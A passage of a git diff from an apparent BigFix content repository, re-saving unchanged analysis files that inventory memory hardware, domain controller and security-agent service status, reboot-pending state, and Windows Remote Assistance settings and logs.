+    <Description><![CDATA[<P>Decoding many of the results of this analysis requires reading the SMBIOS spec found here: <A href="http://dmtf.org/standards/smbios"><FONT color=#000080>http://dmtf.org/standards/smbios</FONT></A> </P>
+<P>If the "smbios" inspector works on other OSes other than Windows, then this analysis should work there too.</P>
+<P>This analysis can be found here: <A href="http://bigfix.me/analysis/details/2994573"><FONT color=#000080>http://bigfix.me/analysis/details/2994573</FONT></A></P>]]></Description>
+    <Relevance>exists smbios</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 17 Sep 2013 18:42:07 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Type" EvaluationPeriod="P2D">unique values of (values &quot;memory_type&quot; of structures &quot;memory_device&quot; whose(value &quot;speed&quot; of it as string != &quot;0&quot;) of smbios as string)</Property>
+    <Property ID="2" Name="Speed (Mhz)" EvaluationPeriod="P2D">unique values of (values &quot;speed&quot; whose(it as string != &quot;0&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="3" Name="Manufacturer" EvaluationPeriod="P2D">unique values of (values &quot;manufacturer&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string does not start with &quot;FFFFFFFFFFFF&quot; AND it as string as trimmed string != &quot;&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="4" Name="Form Factor" EvaluationPeriod="P2D">unique values of (values &quot;form_factor&quot; of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="5" Name="Part Number" EvaluationPeriod="P2D">unique values of (values &quot;part_number&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="6" Name="Asset Tag" EvaluationPeriod="P2D">unique values of (values &quot;asset_tag&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+    <Property ID="7" Name="Serial Number" EvaluationPeriod="P2D">unique values of (values &quot;serial_number&quot; whose(it as string != &quot;[Empty]&quot; AND it as string as trimmed string != &quot;&quot; AND it as string as trimmed string != &quot;00000000&quot; AND it as string as trimmed string does not start with &quot;FFFFFF&quot;) of structures &quot;memory_device&quot; of smbios as string)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Real-time Downtime Validation (2998602).bes b/Sites/Windows Management/Fixlets/Analyses/Real-time Downtime Validation (2998602).bes
index a5ab07718..94b1eb131 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Real-time Downtime Validation (2998602).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Real-time Downtime Validation (2998602).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Real-time Downtime Validation
-  ID       : 2998602
-  Author   : clarm060
-  Domain   : BESC
-  Imported : 2020-02-03T12:49:48
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Real-time Downtime Validation</Title>
-    <Description><![CDATA[<P>This analysis provides the ability to track DC services, Shares, and Reboot status in a real-time report. Servers do not need to be a Domain controller to use this report but they will show false for all ADS services and shares.</P>
-<P>Note: Currently the Relevance for this Analysis pulls all endpoints with any windows OS. if you are going to target just a subset of devices change the Relevance to Computer groups (manual or Dynamic), By Active Directory OU, etc. to filter to the devices you want.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 03 Feb 2020 20:34:53 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="AD Web" EvaluationPeriod="PT0S">if not exists service &quot;ADWS&quot; then &quot;Not Installed&quot; else if exists service &quot;ADWS&quot; then if exists running service &quot;ADWS&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
-    <Property ID="2" Name="AD Domain">if not exists service &quot;NTDS&quot; then &quot;Not Installed&quot; else if exists service &quot;NTDS&quot; then if exists running service &quot;NTDS&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
-    <Property ID="3" Name="Carbon Black">if not exists service &quot;Parity&quot; then &quot;Not Installed&quot; else if exists service &quot;Parity&quot; then if exists running service &quot;Parity&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
-    <Property ID="4" Name="CiscoAMP">if not exists (service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then &quot;Not Installed&quot; else if exists (service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then if exists (running service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
-    <Property ID="5" Name="LogRhythm">if not exists service &quot;SCSM&quot; then &quot;Not Installed&quot; else if exists service &quot;SCSM&quot; then if exists running service &quot;SCSM&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot; </Property>
-    <Property ID="6" Name="SCCM">if not exists service &quot;CCmExec&quot; then &quot;Not Installed&quot; else if exists service &quot;CCmExec&quot; then if exists running service &quot;CCmExec&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
-    <Property ID="7" Name="SEP">if not exists service &quot;SEPMasterService&quot; then &quot;Not Installed&quot; else if exists service &quot;SEPMasterService&quot; then if exists running service &quot;SEPMasterService&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot; </Property>
-    <Property ID="8" Name="Uptime of OS">uptime of operating system</Property>
-    <Property ID="9" Name="Reboot Pending">if (exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry) then &quot;Updates&quot; else if (exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry) then (&quot;CBS&quot;) else if (exists value &quot;UpdateExeVolatile&quot; of keys &quot;HKLM\Software\Microsoft\Updates&quot; of native registry) then (&quot; UpdateExeVolatile&quot;) else (&quot;No&quot;)</Property>
-    <Property ID="10" Name="SysVol">Exists (folder(&quot;\\&quot; &amp; (computer name as string) &amp; &quot;\sysvol&quot;))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Real-time Downtime Validation
+  ID       : 2998602
+  Author   : clarm060
+  Domain   : BESC
+  Imported : 2020-02-03T12:49:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Real-time Downtime Validation</Title>
+    <Description><![CDATA[<P>This analysis provides the ability to track DC services, Shares, and Reboot status in a real-time report. Servers do not need to be a Domain controller to use this report but they will show false for all ADS services and shares.</P>
+<P>Note: Currently the Relevance for this Analysis pulls all endpoints with any windows OS. if you are going to target just a subset of devices change the Relevance to Computer groups (manual or Dynamic), By Active Directory OU, etc. to filter to the devices you want.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 03 Feb 2020 20:34:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="AD Web" EvaluationPeriod="PT0S">if not exists service &quot;ADWS&quot; then &quot;Not Installed&quot; else if exists service &quot;ADWS&quot; then if exists running service &quot;ADWS&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="2" Name="AD Domain">if not exists service &quot;NTDS&quot; then &quot;Not Installed&quot; else if exists service &quot;NTDS&quot; then if exists running service &quot;NTDS&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="3" Name="Carbon Black">if not exists service &quot;Parity&quot; then &quot;Not Installed&quot; else if exists service &quot;Parity&quot; then if exists running service &quot;Parity&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="4" Name="CiscoAMP">if not exists (service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then &quot;Not Installed&quot; else if exists (service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then if exists (running service) whose (it as string as lowercase contains &quot;CiscoAmp&quot; as lowercase) then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="5" Name="LogRhythm">if not exists service &quot;SCSM&quot; then &quot;Not Installed&quot; else if exists service &quot;SCSM&quot; then if exists running service &quot;SCSM&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot; </Property>
+    <Property ID="6" Name="SCCM">if not exists service &quot;CCmExec&quot; then &quot;Not Installed&quot; else if exists service &quot;CCmExec&quot; then if exists running service &quot;CCmExec&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot;</Property>
+    <Property ID="7" Name="SEP">if not exists service &quot;SEPMasterService&quot; then &quot;Not Installed&quot; else if exists service &quot;SEPMasterService&quot; then if exists running service &quot;SEPMasterService&quot; then &quot;Running&quot; else &quot;Stopped&quot; else &quot;Pending&quot; </Property>
+    <Property ID="8" Name="Uptime of OS">uptime of operating system</Property>
+    <Property ID="9" Name="Reboot Pending">if (exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry) then &quot;Updates&quot; else if (exists key &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry) then (&quot;CBS&quot;) else if (exists value &quot;UpdateExeVolatile&quot; of keys &quot;HKLM\Software\Microsoft\Updates&quot; of native registry) then (&quot; UpdateExeVolatile&quot;) else (&quot;No&quot;)</Property>
+    <Property ID="10" Name="SysVol">Exists (folder(&quot;\\&quot; &amp; (computer name as string) &amp; &quot;\sysvol&quot;))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Configuration - Windows (2998523).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Configuration - Windows (2998523).bes
index 6ef231be9..a62989f79 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Configuration - Windows (2998523).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Configuration - Windows (2998523).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Remote Assistance - Configuration - Windows
-  ID       : 2998523
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:01:11
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Remote Assistance - Configuration - Windows</Title>
-    <Description><![CDATA[<P>Provides information regarding the remote assistance configuration of a computer. </P>
-<P>Specifically providing information on the states of the following settings</P>
-<UL>
-<LI>Detailed Logging
-<LI>Unsolicited remote assistance (View)
-<LI>Unsolicited remote assistance (Control)
-<LI>Users and Groups allowed to initiate offers to this computer</LI></UL>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Remote Assistance - Logging - Windows" EvaluationPeriod="PT12H">if ((value &quot;LoggingEnabled&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
-    <Property ID="2" Name="Remote Assistance - Unsolicited View - Windows" EvaluationPeriod="PT12H">if ((value &quot;fAllowUnsolicited&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
-    <Property ID="3" Name="Remote Assistance - Unsolicited Control - Windows" EvaluationPeriod="PT12H">if ((value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
-    <Property ID="4" Name="Remote Assistance - Allowed Helpers - Windows" EvaluationPeriod="PT12H">if (exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services\RAUnsolicit&quot; of registry) then (names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services\RAUnsolicit&quot; of registry) else (&quot;none&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Assistance - Configuration - Windows
+  ID       : 2998523
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:11
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Assistance - Configuration - Windows</Title>
+    <Description><![CDATA[<P>Provides information regarding the remote assistance configuration of a computer. </P>
+<P>Specifically providing information on the states of the following settings</P>
+<UL>
+<LI>Detailed Logging
+<LI>Unsolicited remote assistance (View)
+<LI>Unsolicited remote assistance (Control)
+<LI>Users and Groups allowed to initiate offers to this computer</LI></UL>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Remote Assistance - Logging - Windows" EvaluationPeriod="PT12H">if ((value &quot;LoggingEnabled&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
+    <Property ID="2" Name="Remote Assistance - Unsolicited View - Windows" EvaluationPeriod="PT12H">if ((value &quot;fAllowUnsolicited&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
+    <Property ID="3" Name="Remote Assistance - Unsolicited Control - Windows" EvaluationPeriod="PT12H">if ((value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer = 1) | false) then &quot;Enabled&quot; else &quot;Disabled&quot; | &quot;Disabled&quot;  </Property>
+    <Property ID="4" Name="Remote Assistance - Allowed Helpers - Windows" EvaluationPeriod="PT12H">if (exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services\RAUnsolicit&quot; of registry) then (names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services\RAUnsolicit&quot; of registry) else (&quot;none&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Event Logs - Windows (2998524).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Event Logs - Windows (2998524).bes
index c91bdef30..991be7a1d 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Event Logs - Windows (2998524).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Event Logs - Windows (2998524).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Remote Assistance - Event Logs - Windows
-  ID       : 2998524
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:01:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Remote Assistance - Event Logs - Windows</Title>
-    <Description><![CDATA[<P>Pulls data from the Remote Assistance event log.</P>
-<P>For outgoing remote assistance requests: Who they were to, who made the request, and what time</P>
-<P>For incoming remote assistance requests: Who received it, and what time (not possible to tell who made the request)</P>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot; | false</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Remote Assistance - Outgoing Requests - Windows" EvaluationPeriod="PT6H">(time generated of it, name of user of user sid of it, substring before &quot;as the command line&quot; of substring after &quot;with:&quot; of description of it as string) of (records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) of event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot;) whose (description of it contains &quot;as the command line parameters&quot; and description of it does not contain &quot;CreateRA&quot;)</Property>
-    <Property ID="2" Name="Remote Assistance - Incoming Requests - Windows" EvaluationPeriod="PT6H">(name of user of user sid of it, time generated of it) of (records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) of event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot;) whose (description of it contains &quot;A Remote Assistance Invitation was successfully opened.&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Assistance - Event Logs - Windows
+  ID       : 2998524
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:18
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Assistance - Event Logs - Windows</Title>
+    <Description><![CDATA[<P>Pulls data from the Remote Assistance event log.</P>
+<P>For outgoing remote assistance requests: Who they were to, who made the request, and what time</P>
+<P>For incoming remote assistance requests: Who received it, and what time (not possible to tell who made the request)</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot; | false</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Remote Assistance - Outgoing Requests - Windows" EvaluationPeriod="PT6H">(time generated of it, name of user of user sid of it, substring before &quot;as the command line&quot; of substring after &quot;with:&quot; of description of it as string) of (records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) of event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot;) whose (description of it contains &quot;as the command line parameters&quot; and description of it does not contain &quot;CreateRA&quot;)</Property>
+    <Property ID="2" Name="Remote Assistance - Incoming Requests - Windows" EvaluationPeriod="PT6H">(name of user of user sid of it, time generated of it) of (records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 1000;item 1 of it))) of (record count of it, oldest record number of it)) of event log &quot;Microsoft-Windows-RemoteAssistance/Operational&quot;) whose (description of it contains &quot;A Remote Assistance Invitation was successfully opened.&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Session Logs - Windows (2998525).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Session Logs - Windows (2998525).bes
index 61385f150..0a2554ad3 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Session Logs - Windows (2998525).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Session Logs - Windows (2998525).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Remote Assistance - Session Logs - Windows
-  ID       : 2998525
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:01:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Remote Assistance - Session Logs - Windows</Title>
-    <Description><![CDATA[<P>Pulls data from the Remote Assistance session logs in each user's documents folder.</P>
-<P>For&nbsp;ALL&nbsp;incoming connections that are established&nbsp;the following is collected:</P>
-<UL>
-<LI>Full name of originating user
-<LI>IP address of originating request
-<LI>Date of request
-<LI>Time of request</LI></UL>
-<P>For incoming connections where <STRONG>control is granted</STRONG>, the following is collected:</P>
-<UL>
-<LI>Full name of originating user
-<LI>IP address of originating request
-<LI>Date of request
-<LI>Time of request</LI></UL>
-<P>For all sessions, the following is collected:</P>
-<UL>
-<LI>Full name of originating user
-<LI>Date of session start
-<LI>Time of session start
-<LI>Date of session end
-<LI>Time of session end</LI></UL>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[exists (folders "Remote Assistance Logs" of folders "Documents" of folders of folder (name of drive of system folder & "\Users"))]]></Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="3" Name="Remote Assistance - Incoming Connection Established - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text, xpath &quot;INCOMING_IP_ADDRESS&quot; of it as text, node value of attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as string, node value of attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as string) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
-    <Property ID="4" Name="Remote Assistance - Incoming Control Granted - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, xpath &quot;INCOMING_IP_ADDRESS&quot; of it as text | &quot;none&quot;, node value of attribute &quot;DATE&quot; of xpath &quot;EXPERT_CONTROL_STARTED&quot; of it as string | &quot;none&quot;, node value of attribute &quot;TIME&quot; of xpath &quot;EXPERT_CONTROL_STARTED&quot; of it as string | &quot;none&quot;) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/EXPERT_CONTROL_STARTED&quot; of it and exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
-    <Property ID="5" Name="Remote Assistance - Incoming Session Times - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ENDED&quot; of it as text | &quot;none&quot;, attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ENDED&quot; of it as text | &quot;none&quot;) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Assistance - Session Logs - Windows
+  ID       : 2998525
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Assistance - Session Logs - Windows</Title>
+    <Description><![CDATA[<P>Pulls data from the Remote Assistance session logs in each user's documents folder.</P>
+<P>For&nbsp;ALL&nbsp;incoming connections that are established&nbsp;the following is collected:</P>
+<UL>
+<LI>Full name of originating user
+<LI>IP address of originating request
+<LI>Date of request
+<LI>Time of request</LI></UL>
+<P>For incoming connections where <STRONG>control is granted</STRONG>, the following is collected:</P>
+<UL>
+<LI>Full name of originating user
+<LI>IP address of originating request
+<LI>Date of request
+<LI>Time of request</LI></UL>
+<P>For all sessions, the following is collected:</P>
+<UL>
+<LI>Full name of originating user
+<LI>Date of session start
+<LI>Time of session start
+<LI>Date of session end
+<LI>Time of session end</LI></UL>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists (folders "Remote Assistance Logs" of folders "Documents" of folders of folder (name of drive of system folder & "\Users"))]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="3" Name="Remote Assistance - Incoming Connection Established - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text, xpath &quot;INCOMING_IP_ADDRESS&quot; of it as text, node value of attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as string, node value of attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as string) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
+    <Property ID="4" Name="Remote Assistance - Incoming Control Granted - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, xpath &quot;INCOMING_IP_ADDRESS&quot; of it as text | &quot;none&quot;, node value of attribute &quot;DATE&quot; of xpath &quot;EXPERT_CONTROL_STARTED&quot; of it as string | &quot;none&quot;, node value of attribute &quot;TIME&quot; of xpath &quot;EXPERT_CONTROL_STARTED&quot; of it as string | &quot;none&quot;) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/EXPERT_CONTROL_STARTED&quot; of it and exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
+    <Property ID="5" Name="Remote Assistance - Incoming Session Times - Windows" EvaluationPeriod="PT6H">(xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ESTABLISHED&quot; of it as text | &quot;none&quot;, attribute &quot;DATE&quot; of xpath &quot;CONNECTION_ENDED&quot; of it as text | &quot;none&quot;, attribute &quot;TIME&quot; of xpath &quot;CONNECTION_ENDED&quot; of it as text | &quot;none&quot;) of  xpaths &quot;/SESSION&quot; of xml documents whose (exists xpath &quot;/SESSION/INVITATION_OPENED&quot; of it) of files of folders &quot;Remote Assistance Logs&quot; of folders &quot;Documents&quot; of folders of folder (name of drive of system folder &amp; &quot;\Users&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Windows (2998526).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Windows (2998526).bes
index ac3780a11..25d01ec52 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Windows (2998526).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Assistance - Windows (2998526).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Remote Assistance - Windows
-  ID       : 2998526
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:01:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
